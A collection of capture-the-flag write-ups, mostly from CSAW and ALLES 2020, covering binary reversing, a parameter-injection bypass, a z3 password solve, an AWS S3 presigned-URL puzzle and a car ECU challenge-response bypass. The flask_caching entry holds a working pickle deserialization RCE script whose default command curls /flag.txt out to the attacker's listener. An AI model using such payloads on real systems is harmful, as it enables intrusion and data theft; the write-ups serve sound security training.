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# not_malware
Author: [roerohan](https://github.com/roerohan)
# Requirements
- Ghidra
# Source
- [not_malware](./not_malware)
```To be perfectly frank, I do some malware-y things, but that doesn't mean that I'm actually malware, I promise!
nc rev.chal.csaw.io 5008```
# Exploitation
When you read the code after decompilation using Ghidra, you see it roughly consists of the following steps:
1. Prevent the use of a debugger.2. Asks the user "What\'s your credit card number (for safekeeping) ?" and takes an input.
```printf("What\'s your credit card number (for safekeeping) ?\n>> ")```
3. Reads a string located 27 bytes above `yeetbank`, and checks if the first 8 bytes of the input is the same as that string.
```iVar1 = strncmp(local_28,"yeetbank" + (long)local_18 * 9,8);```
This string is `softbank`.
4. Checks whether the next byte of the input string is `:`.
5. Sets 3 local variables. The first one is assigned as the seed using `srand()` of a random number generating function. The other is used to as an index to read a number from this random number. We can pass these as `000`, so that it becomes `srand(0)` and then `rand()` with the constant seed `0` always returns `1804289383`. Therefore, the first index will always be `1`.
6. The next 20 if statements check whether the next 20 bytes of input are the first character of the random number generated, in our case `1`.
7. Lastly, it checks if the string ends with a `:` followed by `end`.
Finally, our exploit string is:
```softbank:000:11111111111111111111:end```
Connect to the netcat link and enter this string.
```What's your credit card number (for safekeeping) ?>> softbank:000:11111111111111111111:endThanks!flag{th4x_f0r_ur_cr3d1t_c4rd}```
The flag is:
```flag{th4x_f0r_ur_cr3d1t_c4rd}``` |
# crypto / authy
## Question
> Check out this new storage application that your government has started! It's supposed to be pretty secure since everything is authenticated...>> `curl crypto.chal.csaw.io:5003`
### Provided Files
- `handout.py`
## Solution
### Background
The target is a plaintext note storage service.Notes are submitted to `POST /new` with an `author` value and a `note` value.This endpoint returns a base64 version of the note and a SHA1 hash of the metadata.
Notes can be retrieved from `POST /view` with the note `id` (the base64 string) and `integrity` (the SHA1 hash).If the `id` sets `admin` and `access_sensitive` to true and has `entrynum` 7, then the flag will be printed.
The `id` data is stored and parsed using URL parameter notation (`param1=value1¶m2=value&...`).All parameters are concatenated together before parsing.However, the code does not sanitize for `&` within a note.
```py# handout.py L93-97identifier = base64.b64decode(info["id"]).decode()checksum = info["integrity"]
params = identifier.replace('&', ' ').split(" ")note_dict = { param.split("=")[0]: param.split("=")[1] for param in params }```
This allows us to arbitrarily set values of `note_dict`, which is used to verify the `admin`, `access_sensitive`, and `entrynum` properties.
### Exploit
We can now craft a note with the required fields (and `entrynum=none` to have something to overwrite):
```text$ curl -X POST \ -F "author=1337" \ -F "entrynum=none" \ -F "note=AAAAAAAA&admin=True&access_sensitive=True&entrynum=7" \ crypto.chal.csaw.io:5003/new
Successfully added YWRtaW49RmFsc2UmYWNjZXNzX3NlbnNpdGl2ZT1GYWxzZSZhdXRob3I9MTMzNyZlbnRyeW51bT03ODMmbm90ZT1BQUFBQUFBQSZhZG1pbj1UcnVlJmFjY2Vzc19zZW5zaXRpdmU9VHJ1ZSZlbnRyeW51bT03:1a51c1aa28c65fb763539c8055ae270b4c231a11```
And access it, triggering the flag print statement:
```text$ curl -X POST \ -F "id=YWRtaW49RmFsc2UmYWNjZXNzX3NlbnNpdGl2ZT1GYWxzZSZhdXRob3I9MTMzNyZlbnRyeW51bT03ODMmbm90ZT1BQUFBQUFBQSZhZG1pbj1UcnVlJmFjY2Vzc19zZW5zaXRpdmU9VHJ1ZSZlbnRyeW51bT03" -F "integrity=1a51c1aa28c65fb763539c8055ae270b4c231a11" \ crypto.chal.csaw.io:5003/view
Author: adminNote: You disobeyed our rules, but here's the note: flag{h4ck_th3_h4sh}```
### Flag
`flag{h4ck_th3_h4sh}` |
# flask_caching
Author: [roerohan](https://github.com/roerohan) and [thebongy](https://github.com/thebongy)
# Requirements
- Python
# Source
- [app.py](./app.py)
```cache all the things (this is python3)
http://web.chal.csaw.io:5000```
# Exploitation
```py# app.py
from flask_caching import Cache```
When you look at the documentation for the source for the `flask_caching` module, you can optionally store a python pickle in the redis by prepending it with `'!'`. You can use python pickles for RCE, when the caching modules uses `pickle.load()` to load the cached data.
Set up a netcat listener on your server and run the following script with your IP and PORT.
```pyimport pickleimport sysimport base64import requestsimport time
IP = '0.0.0.0' # Your IP herePORT = 8000DEFAULT_COMMAND=f'curl -d "$(cat /flag.txt)" {IP}:{PORT}'COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND
class PickleRce(object): def __reduce__(self): import os return (os.system,(COMMAND,))
f = open('payload', 'wb')f.write(b'!'+pickle.dumps(PickleRce()))f.close()
time.sleep(0.5)
data = open('payload', 'rb').read()print(data)url = 'http://web.chal.csaw.io:5000/'
test = 'test23'
requests.post(url, files={ 'content': ('content', open('payload', 'rb').read()) }, data={ 'title': f'flask_cache_view//{test}' })
r = requests.get(url + test)print(r.text)```
On your netcat listener, you would get:
```POST / HTTP/1.1Host: yourhost:yourportUser-Agent: curl/7.69.1Accept: */*Content-Length: 16Content-Type: application/x-www-form-urlencoded
flag{f1@sK_10rD}```
The flag is:
```flag{f1@sK_10rD}``` |
## Reconinitial recon same as for all OBD Tuning (see our OBD Tuning 2 [writeup](https://ctftime.org/writeup/23318))
## Analysis of the pcapin the provided pcap dump with a bit car hacking knowledge one can see some [UDS](https://en.wikipedia.org/wiki/Unified_Diagnostic_Services) commands going on.intresting for OBD-Tuning-1 are the CANid 0x600 and 0x641 (tx/rx) one can see following procedure in the dump:
* 10 02 means "init diagnostic session"* 27 01 is security access "send challenge"* 27 02 is security access "response"* 22 00 00 is read Data By CommonIdentifier, you can read various infos from the ECU
those commands are wrapped in [ISO-TP](https://en.wikipedia.org/wiki/ISO_15765-2) as underlying transport protocol. also you can see in the dump the recevied data on identifier 0x00 is ```Flag.is.on.id.0x42```
## Taskso the job is:* find a valid login to the ECU* read CommonIdentifier 0x42 for the flag
in actual cars for the security challenge/response process there is some kind of micro definition language, whichdescribes the operations to be performed on the challenge for a valid response (this is basic stuff like ADD, SUB, XOR, small loops etc.)so its also always worth to test for simple and basic operations like an add or xor.
and indeed when you use the valid challenge-response pair you got from the pcap
```1012 6701 6813c2df8172ecf3988efc3a9cf1520e xor1012 2702 5c21f6edb540d8c1acbcc808a8c3663c = 34323432343234323432343234323432```it seems as key for the respone ```34323432343234323432343234323432``` was used ("424242...")
## Attackso we know what to do: login with a challenge/response where we xor the challenge with our found key and then read identifier 0x42 (someone really likes 42) a quick hacked python script, did the job:
```pythonSOL_CAN_ISOTP = 106 # These constants exist in the module header, not in Python.CAN_ISOTP_RECV_FC = 2# Many more exists.
import socketimport structimport time
def hexdump(data): output = "" for i in range(0,len(data),2): value = int(data[i:i+2],16) if value > 0x20 and value < 0x80: output += chr(value) else: output += "." return(output) # init socketss2 = socket.socket(socket.AF_CAN, socket.SOCK_DGRAM, socket.CAN_ISOTP)s2.bind(("vcan0", 0x0641, 0x0600)) #rxid, txid with confusing order.
# init diag session UDS: 10 02s2.send(b"\x10\x02")data = s2.recv(4095)print("answer to 0x10: " + hex(data[0]) )
# security access request challenge UDS 27 01print("sending get challenge (27 01)")s2.send(b"\x27\x01")data = s2.recv(4095)dump = ''.join("%02X" % _ for _ in data)print("answer to 27 01: " + dump + " " + hexdump(dump) )
num = int(dump[4:],16)print("chal: " + hex(num))
# calculate responseresp = num ^ 0x34323432343234323432343234323432print("resp: " + hex(resp))
# send backs2.send(b"\x27\x02" + bytes.fromhex(hex(resp)[2:]) )data = s2.recv(4095)
# unlocked, now dump all readDataByCommonIdentifier (not to miss anything)print("dumping all common identifier Data") for i in range(256): s2.send(b"\x22\x00" + chr(i).encode()) data = s2.recv(4095) dump = ''.join("%02X" % _ for _ in data) print("answer to 0x22 00 %02X" % i + ": " + dump + " " + hexdump(dump) )
``` and so the ECU gave us the flag
```obd@obd-tuning-ecus:/home/obd$ python3 obd1.pyanswer to 0x10: 0x50sending get challenge (27 01)answer to 27 01: 670167987F8A8248B127A411253FE49EB8EE g.g..H.'..%?....chal: 0x67987f8a8248b127a411253fe49eb8eeresp: 0x53aa4bb8b67a85159023110dd0ac8cdcdumping all common identifier Dataanswer to 0x22 00 00: 620000466C6167206973206F6E2069642030783432 b..Flag.is.on.id.0x42answer to 0x22 00 01: 7F2231"1...answer to 0x22 00 40: 7F2231"1answer to 0x22 00 41: 7F2231"1answer to 0x22 00 42: 620042414C4C45537B653473795F53345F31735F7468335F736831747D b.BALLES{e4sy_S4_1s_th3_sh1t}answer to 0x22 00 43: 7F2231"1...```
## ALLES{e4sy_S4_1s_th3_sh1t}macz
|
# Secret Notes
Both the windows app and android app files are required for this one, but having them installed on windows/android is not required to solve the challenge. If you're not on windows (or don't want to install the app) you can get the files for the app by going to the install page, visiting the appinstaller link in the url for "Install for x86" (ms-appinstaller:?source=https://notes-distribution.azurewebsites.net/Notes.UWP_x86.appinstaller), and then grabbing the download link from there for the actual app (https://notes-distribution.azurewebsites.net/Notes.UWP_1.0.0.0_x86.appx).
## Windows App part
So the challenge has two apps because parts of the password are "encoded" differently in each app. The first section has us disassembling the windows app.
You can extract the appx file with 7-zip to see the files. The file to note is Notes.dll which is a .net dll and should be easy to decompile. (Normally I would recommend dnspy for decompilation since it's just ilspy but with more features, but it dies on the async methods, so use ilspy instead.)
When you open it, there's a PasswordChecker class that decompiles to this:
```cspublic class PasswordChecker : IPasswordChecker{ public bool CheckPassword(string password) { if (password.Length == 29) { return DependencyService.Get<IPasswordChecker>().CheckPassword(password); } return false; }}```
Looking for more references of `CheckPassword` doesn't give us much, so it must be stored somewhere outside of Notes.dll. I have no idea why it is, but instead you need to decompile entrypoint/Notes.UWP.exe (I think this is just where platform specific code goes) which has the actual PasswordChecker in it:
```cspublic class PasswordChecker : IPasswordChecker{ public bool CheckPassword(string password) { byte[] bytes = Encoding.ASCII.GetBytes(password); int[] array = Array.ConvertAll(bytes, (Converter<byte, int>)((byte item) => item)); bool flag = true; flag &= (array[15] - array[24] - array[1] + array[6] == 90); flag &= (array[17] - array[23] - array[2] == -123); flag &= (array[28] == 125); flag &= (array[17] * array[24] - array[3] - array[23] * array[2] == -4937); flag &= (array[11] * array[14] - array[26] + array[7] + array[16] == 5105); flag &= (array[3] - array[6] == -30); flag &= (array[21] == 105); flag &= (array[9] * array[27] - array[24] * array[21] - array[25] == 1129); flag &= (array[18] * array[6] + array[23] * array[3] + array[20] == 17936); flag &= (array[7] - array[13] + array[19] * array[5] == 13413); return flag & (array[10] * array[0] * array[12] - array[26] == 837149); }}```
Interesting. It looks like a fun z3 problem, but we run into issues if we try to use just this:
```python>>> from z3 import *>>> s = Solver()# 32 bit numbers just so the below operations don't overflow>>> ar = [BitVec(f'{i}', 32) for i in range(29)]>>> s.add(ar[15] - ar[24] - ar[1] + ar[6] == 90)>>> s.add(ar[17] - ar[23] - ar[2] == -123)>>> s.add(ar[28] == 125)>>> s.add(ar[17] * ar[24] - ar[3] - ar[23] * ar[2] == -4937)>>> s.add(ar[11] * ar[14] - ar[26] + ar[7] + ar[16] == 5105)>>> s.add(ar[3] - ar[6] == -30)>>> s.add(ar[21] == 105)>>> s.add(ar[9] * ar[27] - ar[24] * ar[21] - ar[25] == 1129)>>> s.add(ar[18] * ar[6] + ar[23] * ar[3] + ar[20] == 17936)>>> s.add(ar[7] - ar[13] + ar[19] * ar[5] == 13413)>>> s.add(ar[10] * ar[0] * ar[12] - ar[26] == 837149)# just make sure the character is (somewhat) valid>>> s.add(ar[0] > 32)>>> s.add(ar[0] < 127)>>> s.add(ar[1] > 32)>>> s.add(ar[1] < 127)>>> s.add(ar[2] > 32)>>> s.add(ar[2] < 127)>>> s.add(ar[3] > 32)>>> s.add(ar[3] < 127)>>> s.add(ar[4] > 32)>>> s.add(ar[4] < 127)>>> s.add(ar[5] > 32)>>> s.add(ar[5] < 127)>>> s.add(ar[6] > 32)>>> s.add(ar[6] < 127)>>> s.add(ar[7] > 32)>>> s.add(ar[7] < 127)>>> s.add(ar[8] > 32)>>> s.add(ar[8] < 127)>>> s.add(ar[9] > 32)>>> s.add(ar[9] < 127)>>> s.add(ar[10] > 32)>>> s.add(ar[10] < 127)>>> s.add(ar[11] > 32)>>> s.add(ar[11] < 127)>>> s.add(ar[12] > 32)>>> s.add(ar[12] < 127)>>> s.add(ar[13] > 32)>>> s.add(ar[13] < 127)>>> s.add(ar[14] > 32)>>> s.add(ar[14] < 127)>>> s.add(ar[15] > 32)>>> s.add(ar[15] < 127)>>> s.add(ar[16] > 32)>>> s.add(ar[16] < 127)>>> s.add(ar[17] > 32)>>> s.add(ar[17] < 127)>>> s.add(ar[18] > 32)>>> s.add(ar[18] < 127)>>> s.add(ar[19] > 32)>>> s.add(ar[19] < 127)>>> s.add(ar[20] > 32)>>> s.add(ar[20] < 127)>>> s.add(ar[21] > 32)>>> s.add(ar[21] < 127)>>> s.add(ar[22] > 32)>>> s.add(ar[22] < 127)>>> s.add(ar[23] > 32)>>> s.add(ar[23] < 127)>>> s.add(ar[24] > 32)>>> s.add(ar[24] < 127)>>> s.add(ar[25] > 32)>>> s.add(ar[25] < 127)>>> s.add(ar[26] > 32)>>> s.add(ar[26] < 127)>>> s.add(ar[27] > 32)>>> s.add(ar[27] < 127)>>> s.add(ar[28] > 32)>>> s.add(ar[28] < 127)>>> s.check()sat>>> model = s.model()>>> results = ([int(str(model[ar[i]])) for i in range(len(model))])>>> print("".join([chr(item) for item in results]))L-=JD{hADClWf;:E=/^m^iHm&(CM}```
Which is not the password if you try it (if you have it installed), even though it does pass the check (you can just recompile that c# function and try yourself.)
So that means the other part is in the android app.
## Android App part
For the android app, again, you can just extract the apk with 7-zip or whatever. But there aren't any managed dlls just hanging around. They're actually stored in libmonodroid_bundle_app.so in the lib folder.
You can use https://github.com/tjg1/mono_unbundle to do that. Make sure you have `python-magic-bin` installed, otherwise it errors without telling you why.
Once you export the dlls, open Notes_Android.dll (not Notes.dll) to get the other part.
```cspublic bool CheckPassword(string password){ //IL_0010: Unknown result type (might be due to invalid IL or missing references) //IL_0016: Expected O, but got Unknown //IL_0032: Unknown result type (might be due to invalid IL or missing references) //IL_0038: Expected O, but got Unknown //IL_00a1: Unknown result type (might be due to invalid IL or missing references) //IL_00a6: Unknown result type (might be due to invalid IL or missing references) CameraManager val = (CameraManager)Forms.get_Context().GetSystemService("camera"); string text = val.GetCameraIdList()[0]; CameraCharacteristics cameraCharacteristics = val.GetCameraCharacteristics(text); StreamConfigurationMap val2 = (StreamConfigurationMap)cameraCharacteristics.Get(CameraCharacteristics.get_ScalerStreamConfigurationMap()); int num = 0; Size[] outputSizes = val2.GetOutputSizes(256); Size[] array = outputSizes; foreach (Size val3 in array) { int num2 = val3.get_Height() * val3.get_Width(); if (num2 > num) { num = num2; } } int num3 = (int)Math.Ceiling((double)num / 1024000.0); DisplayInfo mainDisplayInfo = DeviceDisplay.get_MainDisplayInfo(); int num4 = (int)((DisplayInfo)(ref mainDisplayInfo)).get_Width(); int num5 = (int)((DisplayInfo)(ref mainDisplayInfo)).get_Height(); byte[] bytes = Encoding.ASCII.GetBytes(password); int[] array2 = Array.ConvertAll(bytes, (Converter<byte, int>)((byte item) => item)); bool flag = true; flag &= (array2[22] - array2[4] - array2[26] + array2[10] == 8 * num3); flag &= (array2[20] + array2[27] + array2[6] == 249); flag &= (array2[21] - array2[25] + array2[27] - array2[8] == 61); flag &= (array2[24] + array2[9] * array2[21] + array2[23] == 12219); flag &= (array2[0] + array2[28] * array2[12] + array2[19] - array2[11] == 39 + 13 * num4); flag &= (array2[10] * array2[22] + array2[19] + array2[0] - array2[28] == 13274); flag &= (array2[5] == 123); flag &= (array2[17] - array2[25] - array2[2] + array2[18] == 35); flag &= (array2[9] + array2[24] - array2[21] + array2[2] - array2[15] == 19); flag &= (array2[13] * array2[22] + array2[16] * array2[11] == 1878 + 9 * num5); return flag & (array2[4] == 71 + num3);}```
For whatever reason, some of the code is dependent on screen size, so we'll just ignore those bits of code when we put it into z3.
```python>>> s = Solver()>>> ar = [BitVec(f'{i}', 32) for i in range(29)]>>> s.add(ar[15] - ar[24] - ar[1] + ar[6] == 90)>>> s.add(ar[17] - ar[23] - ar[2] == -123)>>> s.add(ar[28] == 125)>>> s.add(ar[17] * ar[24] - ar[3] - ar[23] * ar[2] == -4937)>>> s.add(ar[11] * ar[14] - ar[26] + ar[7] + ar[16] == 5105)>>> s.add(ar[3] - ar[6] == -30)>>> s.add(ar[21] == 105)>>> s.add(ar[9] * ar[27] - ar[24] * ar[21] - ar[25] == 1129)>>> s.add(ar[18] * ar[6] + ar[23] * ar[3] + ar[20] == 17936)>>> s.add(ar[7] - ar[13] + ar[19] * ar[5] == 13413)>>> s.add(ar[10] * ar[0] * ar[12] - ar[26] == 837149)>>> #s.add(ar[22] - ar[4] - ar[26] + ar[10] == 8 * num3)>>> s.add(ar[20] + ar[27] + ar[6] == 249)>>> s.add(ar[21] - ar[25] + ar[27] - ar[8] == 61)>>> s.add(ar[24] + ar[9] * ar[21] + ar[23] == 12219)>>> #s.add(ar[0] + ar[28] * ar[12] + ar[19] - ar[11] == 39 + 13 * num4)>>> s.add(ar[10] * ar[22] + ar[19] + ar[0] - ar[28] == 13274)>>> s.add(ar[5] == 123)>>> s.add(ar[17] - ar[25] - ar[2] + ar[18] == 35)>>> s.add(ar[9] + ar[24] - ar[21] + ar[2] - ar[15] == 19)>>> #s.add(ar[13] * ar[22] + ar[16] * ar[11] == 1878 + 9 * num5)>>> s.add(ar[0] > 32)>>> s.add(ar[0] < 127)>>> s.add(ar[1] > 32)>>> s.add(ar[1] < 127)>>> s.add(ar[2] > 32)>>> s.add(ar[2] < 127)>>> s.add(ar[3] > 32)>>> s.add(ar[3] < 127)>>> s.add(ar[4] > 32)>>> s.add(ar[4] < 127)>>> s.add(ar[5] > 32)>>> s.add(ar[5] < 127)>>> s.add(ar[6] > 32)>>> s.add(ar[6] < 127)>>> s.add(ar[7] > 32)>>> s.add(ar[7] < 127)>>> s.add(ar[8] > 32)>>> s.add(ar[8] < 127)>>> s.add(ar[9] > 32)>>> s.add(ar[9] < 127)>>> s.add(ar[10] > 32)>>> s.add(ar[10] < 127)>>> s.add(ar[11] > 32)>>> s.add(ar[11] < 127)>>> s.add(ar[12] > 32)>>> s.add(ar[12] < 127)>>> s.add(ar[13] > 32)>>> s.add(ar[13] < 127)>>> s.add(ar[14] > 32)>>> s.add(ar[14] < 127)>>> s.add(ar[15] > 32)>>> s.add(ar[15] < 127)>>> s.add(ar[16] > 32)>>> s.add(ar[16] < 127)>>> s.add(ar[17] > 32)>>> s.add(ar[17] < 127)>>> s.add(ar[18] > 32)>>> s.add(ar[18] < 127)>>> s.add(ar[19] > 32)>>> s.add(ar[19] < 127)>>> s.add(ar[20] > 32)>>> s.add(ar[20] < 127)>>> s.add(ar[21] > 32)>>> s.add(ar[21] < 127)>>> s.add(ar[22] > 32)>>> s.add(ar[22] < 127)>>> s.add(ar[23] > 32)>>> s.add(ar[23] < 127)>>> s.add(ar[24] > 32)>>> s.add(ar[24] < 127)>>> s.add(ar[25] > 32)>>> s.add(ar[25] < 127)>>> s.add(ar[26] > 32)>>> s.add(ar[26] < 127)>>> s.add(ar[27] > 32)>>> s.add(ar[27] < 127)>>> s.add(ar[28] > 32)>>> s.add(ar[28] < 127)>>> s.check()sat>>> model = s.model()>>> results = ([int(str(model[ar[i]])) for i in range(len(model))])>>> print("".join([chr(item) for item in results]))rLLED{cK0sl3DEct00rm_iz_13C7}```
Hmm, this almost looks like a flag, but it seems kinda broken. If we know the first few characters, maybe we can get closer to the actual flag.
```python...>>> s.add(ar[27] > 32)>>> s.add(ar[27] < 127)>>> s.add(ar[28] > 32)>>> s.add(ar[28] < 127)>>> s.add(ar[0] == ord("A"))>>> s.add(ar[1] == ord("L"))>>> s.add(ar[2] == ord("L"))>>> s.add(ar[3] == ord("E"))>>> s.add(ar[4] == ord("S"))>>> s.add(ar[5] == ord("{"))>>> s.check()sat>>> model = s.model()>>> results = ([int(str(model[ar[i]])) for i in range(len(model))])>>> print("".join([chr(item) for item in results]))ALLES{c~0ss'px~tt0rm_is_1337}```
Ah, it looks like cross platform is 1337. Let's add a few more characters just to confirm how the flag is formatted.
```python...>>> s.add(ar[27] > 32)>>> s.add(ar[27] < 127)>>> s.add(ar[28] > 32)>>> s.add(ar[28] < 127)>>> s.add(ar[0] == ord("A"))>>> s.add(ar[1] == ord("L"))>>> s.add(ar[2] == ord("L"))>>> s.add(ar[3] == ord("E"))>>> s.add(ar[4] == ord("S"))>>> s.add(ar[5] == ord("{"))>>> s.add(ar[6] == ord("c"))>>> s.add(ar[7] == ord("r"))>>> s.add(ar[8] == ord("0"))>>> s.add(ar[9] == ord("s"))>>> s.add(ar[10] == ord("s"))>>> s.add(ar[11] == ord("_"))>>> s.add(ar[12] == ord("p"))>>> s.add(ar[13] == ord("l"))>>> s.check()sat>>> model = s.model()>>> results = ([int(str(model[ar[i]])) for i in range(len(model))])>>> print("".join([chr(item) for item in results]))ALLES{cr0ss_pl4tf0rm_is_1337}```
This is the windows app for secret notes:
Because the android one is dependent on screen size, and because mono_unbundle can't patch the dlls back in, I don't have a screenshot for the android one.
|
We used an unintended solution using `#define`, `\`, and `//` to get the compiler to accept string literals that were not valid string literals in C++. This causes it to emit arbitrary C++ code, that Clang happily gobbles up and runs for us.
[Full exploit, with some explanation of how it gets processed, here.](https://ohaithe.re/post/628459542958800896/google-ctf-2019-threading) |
Lots of trial and error required. Just use Google Lens, prepare your patience, and you'll have the answer in no time.[Link](https://github.com/still-in-beta/CTF_Writeups/tree/master/2020/fword/Tracking_A_Criminal) |
* Browser Try visit http://124.71.145.165:9999/, Can not open* So, Try nc, Success, return some mesage, a menu* Try In Python console:```>>>a=[101.675707, 108.104373, 99.44578, 119.753137, 103.825127, 123.795102, 113.940518, 112.825059, 119.928117, 100.072409, 110.66016, 112.893151, 119.509267, 120.783183, 99.383149, 118.112178, 118.08295, 98.985339, 101.026835, 97.877011, 101.01231, 93.011009, 111.948902, 115.130663, 116.7992, 92.919232, 101.367718, 103.783665, 100.882058, 99.945761, 95.911013, 114.825181, 98.854674, 110.959773, 116.05761, 112.636004, 95.454217, 108.25799, 96.539226, 108.040692, 113.843402, 105.545774, 123.853208, 96.72447, 97.942793, 124.169743, 124.625649]>>>[chr(int(round(i))) for i in a]['f', 'l', 'c', 'x', 'h', '|', 'r', 'q', 'x', 'd', 'o', 'q', 'x', 'y', 'c', 'v', 'v', 'c', 'e', 'b', 'e', ']', 'p', 's', 'u', ']', 'e', 'h', 'e', 'd', '`', 's', 'c', 'o', 't', 'q', '_', 'l', 'a', 'l', 'r', 'j', '|', 'a', 'b', '|', '}']```* what the "RANDOM" Noise, emmm:```from pwn import *
def readDat(): p.sendlineafter(":", "2", timeout=3) ret = p.recvuntil("\n", timeout=1) ret = ret.replace(",\n","") return eval("["+ret+"]")
MAX_C=1000buf=readDat()L=len(buf)C=1for k in range(0,MAX_C): a=readDat() #print(a) if len(a)!=L: continue C = C+1 for i in range(0,L): buf[i] += a[i]
for i in range(0,L): buf[i] = int(round(buf[i] / C))
buf_arr = [chr(i) for i in buf]#print("COUNT="+str(C))print("".join(buf_arr))
```
|
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View on github: https://github.com/quintuplecs/writeups/blob/master/CSAW-CTF-Quals-2020/web-whistleblow.md# Whistleblow## CSAW CTF Quals 2020 | Web#### @jeffreymeng | September 13, 2020
**Problem Statement:**
> One of your coworkers in the cloud security department sent you an> urgent email, probably about some privacy concerns for your company.
**Hint 1:**
> Presigning is always better than postsigning
**Hint 2:**
> Isn't one of the pieces you find a folder? Look for flag.txt!
**Attachments:** (1)File named `letter` with text:
> Hey Fellow Coworker,> > Heard you were coming into the Sacramento office today. I have some> sensitive information for you to read out about company stored at> ad586b62e3b5921bd86fe2efa4919208 once you are settled in. Make sure> you're a valid user! Don't read it all yet since they might be> watching. Be sure to read it once you are back in Columbus.> > Act quickly! All of this stuff will disappear a week from 19:53:23 on> September 9th 2020.> > \- Totally Loyal Coworker
One interesting thing about this problem is that no link is given to us. If not for the first hint, this challenge would probably be a lot harder (though the problem statement offers a clue: `cloud security`, which implies aws or some other cloud computing company).
When we google `presigning`, the first (non-dictionary) result is AWS S3. AWS S3 is basically a storage service by amazon that stores your files for you.
Reading a bit about AWS S3 presigning, we learn that it is a way to generate a URL that allows users to make GET requests to retrieve files from a bucket. The link is secured using some url parameters.
At this point, a few things in the message become clear. Sacramento and Columbus likely refer to two different AWS regions (`us-west-1` and `us-east-2`, respectively), because they are the capitals of the states which these regions are based in. The date given in the message (a week from 9/9/20 19:53:23) likely refers to the expiration date of the presigned url. The hex string `ad586b62e3b5921bd86fe2efa4919208` is likely the bucket id.
We don't know what to do with the expiration date yet, but we can first try accessing the bucket. Thus, we make a GET request of the format `https://<bucket-id>.s3.<region-code>.amazonaws.com`. You could use a curl, a REST client, or just enter the URL into your browser.
We first try the region `us-east-2` (there's no particular reson why I chose this over `us-west-1`).When we load `https://ad586b62e3b5921bd86fe2efa4919208.s3.us-east-2.amazonaws.com/`, we get a response in the form of XML.```<Error>PermanentRedirect<Message>The bucket you are attempting to access must be addressed using the specified endpoint. Please send all future requests to this endpoint.</Message><Endpoint>ad586b62e3b5921bd86fe2efa4919208.s3-us-west-1.amazonaws.com</Endpoint><Bucket>ad586b62e3b5921bd86fe2efa4919208</Bucket><RequestId>8Y4REZ2Y1KDJAY0M</RequestId><HostId>b5cOBOl16udqCywyFe9lBMpuO5f2HOuz/qq+0Vr72FfmDRHY8ejzDP/iCdprjZArMWLxs6SgKsA=</HostId></Error>```
This message basically states that we should be using region `us-west-1`. However, GETting `ad586b62e3b5921bd86fe2efa4919208.s3-us-west-1.amazonaws.com` returns an access denied error. At this point, we refer back to the message. Specifically, it mentions `Make sure you're a valid user!`.
Something interesting about AWS S3 is that they have a permission setting that makes the bucket available only to `Authenticated Users`. This seems like it would be more secure, but it actually means *any* user with an account, regardless of whether they are associated with the account that created the s3 bucket.
At this point, it's necessary to use the AWS cli, which can be installed [here](https://aws.amazon.com/cli/). First, run the command `aws configure` using credentials which you can obtain by logging in to (or creating) an aws account. Create an IAM user and grant it the `AmazonS3FullAccess` permission.
*(It was at this point that I made my first mistake. At first, I didn't realize that I needed to attach the permission, and so when I tried to use the CLI, I was getting `Access Denied` errors, which I thought were related to the challenge itself, but was actually because my credentials didn't have permissions to run s3 commands.)*
After configuring our aws credentials, we can list all the objects inside the AWS s3 bucket with `aws s3 ls s3://ad586b62e3b5921bd86fe2efa4919208`.This returns a large list of folders with meaningless names. To include the files within the folders, we add the `--recursive` flag.
This returns a large list of text files nested within folders.
It's probably infeasible to look inside all of these files manually, so instead we can copy them all to our computer using `aws s3 cp s3://ad586b62e3b5921bd86fe2efa4919208 ./ctfawsfiles/ --recursive`, and then concatenate all of these files, while preserving a newline, with `wk 1 .ctfawsfiles/**/*.txt`. This gives us all of the file contents without us needing to manually open each file.Basically, most of the files contain random strings of equal length, but four files stand out.
The interesting lines are```s3://super-top-secret-dont-look3560cef4b02815e7c5f95f1351c1146c8eeeb7ae0aff0adc5c106f6488db5b6b.sorry/.for/.nothing/AKIAQHTF3NZUTQBCUQCK```These look like parameters for AWS pre-signed urls. This [aws documentation page](https://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-query-string-auth.html#query-string-auth-v4-signing-example) tells us what we need, and how, to create a presigned url.The first line is a bucket ID, likely containing the flag. The second one looks like an SHA hash, likely a signature for the presigned url.The third one is a folder path, but based on it's name, it also could be nothing.The fourth one is aws access key ID.
Referring to the second hint, it mentions that one of the pieces that we get is a folder. This is probably `.sorry/.for/.nothing/`, and it mentions to look for flag.txt. Thus, the flag is probably at <bucket id>/.sorry/.for/.nothing/flag.txt
This contains four prices of information that we'll likely need to create a presigned url: bucket id, signature, key id, and path to the flag.
However, we're still missing the Date and expiration values. The text file mentions that we will have a week from `19:53:23 on September 9th 2020`. This likely means that the presigned url (and thus the date parameter), was created on `19:53:23 on September 9th 2020`, and the url is valid for a week.
The [aws documentation page (same as above)](https://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-query-string-auth.html#query-string-auth-v4-signing-example) handily tells us how to construct our URL.
Path: https://super-top-secret-dont-look.s3.us-east-2.amazonaws.com/.sorry/.for/.nothing/flag.txt
X-Amz-Algorithm=AWS4-HMAC-SHA256
X-Amz-Credential=AKIAQHTF3NZUTQBCUQCK/20200909/us-east-2/s3/aws4_request *(this is created using the key id, the date from the text file, and the region it tells us to access it from -- columbus i.e. `us-east-2`)*
X-Amz-Date=20200909T195323Z*(This is just the formatted version of the date above)*
X-Amz-Expires=604800*(One week in seconds)*
X-Amz-SignedHeaders=host
X-Amz-Signature=3560cef4b02815e7c5f95f1351c1146c8eeeb7ae0aff0adc5c106f6488db5b6b
Thus, our final url is https://super-top-secret-dont-look.s3.us-east-2.amazonaws.com/.sorry/.for/.nothing/flag.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAQHTF3NZUTQBCUQCK/20200909/us-east-2/s3/aws4_request&X-Amz-Date=20200909T195323Z&X-Amz-Expires=604800&X-Amz-SignedHeaders=host&X-Amz-Signature=3560cef4b02815e7c5f95f1351c1146c8eeeb7ae0aff0adc5c106f6488db5b6b.
This is just a text file with one line, the flag.```flag{pwn3d_th3_buck3ts}``` |
# AllesCTF 2020 - Oldschool IRC
Task Description & Requesting the Session:
We can connect with e.g. Hexchat to the server which is displayed to us:
Once we are there, we join the #challenge channel and meet BottyMcBotface.
We can't talk to him in the channel, but we can pm him directly for interaction
First thing we do is to use ````help```` to get a list of commands he offers
The usual semi-helpfull irc bot stuff ... but what's interesting is readfile, storefile and giveflag
````storefile```` allows us to create files in ./upload directory
````readfile```` let's us read those files
and ````giveflag```` obviously should give us the flag if we provide the correct password:
After a bit of messing arround, we notice that we have a directory traversal vulnerability in ````readfile````
